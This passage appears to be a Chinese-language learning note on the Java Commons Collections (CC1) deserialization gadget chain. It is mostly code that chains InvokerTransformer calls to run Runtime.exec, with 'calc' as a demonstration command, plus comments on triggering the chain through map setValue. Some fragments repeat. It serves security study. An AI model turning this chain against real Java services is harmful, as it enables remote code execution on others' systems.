Method getMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class}, new Object[]{"getRuntime"}).transform(Runtime.class);//拿到 getRuntime 方法
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object.class}, new Object[]{null, null}).transform(getMethod);// 调用 getRuntime(),得到 Runtime 实例,static 方法的 invoke,第一个参数必须为 null
Object exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),//拿到 getRuntime 方法 new InvokerTransformer("invoke", new Class[]{Object.class, Object.class}, new Object[]{null, null}),// 调用 getRuntime(),得到 Runtime 实例,static 方法的 invoke,第一个参数必须为 null new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) };
像这样放到transformer数组里
然后拿chain去一个个调
1 2 3 4 5 6 7 8
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),//拿到 getRuntime 方法 new InvokerTransformer("invoke", new Class[]{Object.class, Object.class}, new Object[]{null, null}),// 调用 getRuntime(),得到 Runtime 实例,static 方法的 invoke,第一个参数必须为 null new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(Runtime.class);
// Method getMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class}, new Object[]{"getRuntime"}).transform(Runtime.class); // Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object.class}, new Object[]{null, null}).transform(getMethod); // Object exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
// for (Map.Entry abc:decorate.entrySet()){//当这样调用时候(遍历map)就会实现那个调用内部类的方法 // abc.setValue(runtime);//重写的方法 // } //如何让decorate来调用checkSetValue,寻找调用checkSetValue的,然后让用这个方法的是decorate //map遍历时候就能调用
public class CC_one { public static void main(String[] args) throws Exception { // Runtime runtime = Runtime.getRuntime(); // InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); // invokerTransformer.transform(runtime);
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),//拿到 getRuntime 方法 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),// 调用 getRuntime(),得到 Runtime 实例,static 方法的 invoke,第一个参数必须为 null new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); // chainedTransformer.transform(Runtime.class);
// Method getMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class}, new Object[]{"getRuntime"}).transform(Runtime.class); // Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object.class}, new Object[]{null, null}).transform(getMethod); // Object exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
// for (Map.Entry abc:decorate.entrySet()){//当这样调用时候(遍历map)就会实现那个调用内部类的方法 // abc.setValue(runtime);//重写的方法 // } //如何让decorate来调用checkSetValue,寻找调用checkSetValue的,然后让用这个方法的是decorate //map遍历时候就能调用